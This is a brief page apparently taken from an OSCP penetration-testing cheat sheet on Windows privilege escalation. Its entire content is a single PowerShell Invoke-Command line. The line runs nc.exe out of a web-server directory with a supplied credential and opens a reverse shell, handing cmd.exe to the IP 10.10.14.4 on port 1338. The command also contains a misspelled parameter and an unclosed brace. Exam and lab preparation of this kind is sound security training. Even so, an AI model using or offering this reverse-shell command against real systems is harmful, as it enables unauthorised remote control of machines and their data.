> For the complete documentation index, see [llms.txt](https://oscp.cyberdefendersprogram.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.cyberdefendersprogram.com/cheatsheet-commands/privilege-escalation-win.md).

# privilege-escalation-win

## powershell

```
Invoke-Command -ComputerName localhost -Creadential $credential -ScriptBlock { C:\inetpub\wwwroot\internal-01\log\nc.exe 10.10.14.4 1338 -e cmd.exe
```
